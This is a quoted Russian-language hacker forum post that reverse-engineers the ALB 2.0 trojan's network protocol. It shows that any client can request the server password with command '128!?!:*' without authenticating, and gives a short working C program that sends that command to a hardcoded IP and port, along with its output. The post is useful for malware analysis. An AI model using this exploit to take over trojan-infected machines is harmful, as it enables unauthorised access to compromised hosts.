Цитата | Quote
Продолжаем ломать ALB. Сегодня наш пациент - вторая версия.
Для начала хотелось бы процитировать высказывание господина Crypta о предыдущей статье:
\"Не статья а говно. В версии ALB 2.0 ты ничего своим софт-айсом уже не расковыряешь....пробуй\".
\"Статья - дерьмо\" - это более чем неоригинальное высказывание, тут он ничем не отличается от самых отмороженных читателей ксакепа, которых он за что-то презирает wink.gif Но зато Crypt опрометчиво признается, что там есть что раскапывать, и я решил попробовать.
Для начала поставим бряк на функции send и recv в адресном пространстве процесса scandisk и посмотрим, о чем же мило беседуют сервер с клиентом. Надо сказать, что автор в этой версии трояна работает с сокетами уже не через визуальные компоненты, а напрямую через winsock. Работает довольно криво, хотя это - отдельная история.
Общение происходит по текстовому протоколу, кусок данных - это один пакет (видимо, автор не слышал о возможности фрагментации при передаче, впрочем, в данном случае это непринципиально). Сначала клиент шлет запрос:
24!?!:*1.3
Первое число здесь - код команды, далее идет сигнатура \"!?!:*\", и дальше - какие-то параметры. На попытку подсоединения сервер отвечает:
99!?!:*и какую-то абракадабру, возможно - русский текст в какой-то кодировке, лень проверять После этого клиент понимает, что сервер запаролен, и выводит окошко \"введите пароль\". Спросив пароль, клиент посылает его серверу:
100:?!?:*password
На что сервер отвечает: 101:?!?:*абракадабра - если пароль неверный, или 24?!?:*2.0 - если верный (последнее, очевидно, версия сервера трояна).
Заглянув в ассемблерный код сервера, мы видим примерно такие преобразования: число из запроса переводится из текстового вида в десятичный и затем идет серия сравнений, очевидно, выглядевшая на Delphi примерно так:
if code=24 then begin
// hello routine
end;
...
if code=100 then begin
// autorization routine
end;
if code=... then begin
// ...
end;
...
Причем еще на этапе проверки пароля выполняются все сравнения code и функций, что наводит на нехорошие подозрения... Кажется, для вызова любой функции процедуру авторизации проходить не обязательно. Я не знаю, сделал ли это создатель по глупости или специально, чтобы оставить неявный \"черный ход\", но я бы не сказал, что \"черный ход\" получился жутко неявным.
Что ж, попробуем вызвать такую интересную функцию, как получение текущего пароля сервера. Подсоединившись к трояну, используя известный нам пароли, и исследуя передаваемые функциям send и recv параметры, мы видим, что она выглядит так: 128?!?:* На что мы получаем ответ из нескольких строчек, содержащих какую-то лабуду и пароль. А сейчас мы напишем простенькую программку, получающую пароль из IP и номера порта (программа на сях, любители дельфей - звиняйте):
#include
#include
#include
int sendstr(int sock,char *str){
return send(sock,str,strlen(str),0);
}
int main(){
WSAData wsa;
int sock;
struct sockaddr_in sa;
int r;
char buf[100];
WSAStartup(0x202,&wsa);
sock=socket(AF_INET,SOCK_STREAM,0);
sa.sin_family=AF_INET;
sa.sin_addr.s_addr=inet_addr(\"10.0.0.138\");
sa.sin_port=htons(47891);
r=connect(sock,(struct sockaddr*)&sa,sizeof(struct sockaddr));
printf(\"connect()=%d\n\",r);
sendstr(sock,\"128!?!:*\");
r=recv(sock,buf,100,0);
if(r<1)exit(0);
buf[r]=0;
printf(\"%s\n\",buf);
}
Адрес сервера и порт забиты в программу при компиляции. После запуска она выводит:
connect()=0 - сообщение самой программы, что подсоединение успешно
128!?!:*0 - код ответа + хз что
smtp.server.ru - настройки трояна
0 - хз что это
lalala - а вот и пароль к серверу...
0 - хз что это
0 - хз что это
Господа создатели элитных троянов против ламеров! Хватит выпендриваться! Заюзайте хеш, в конце концов...


Дружка ищем через поисковик wink.gif....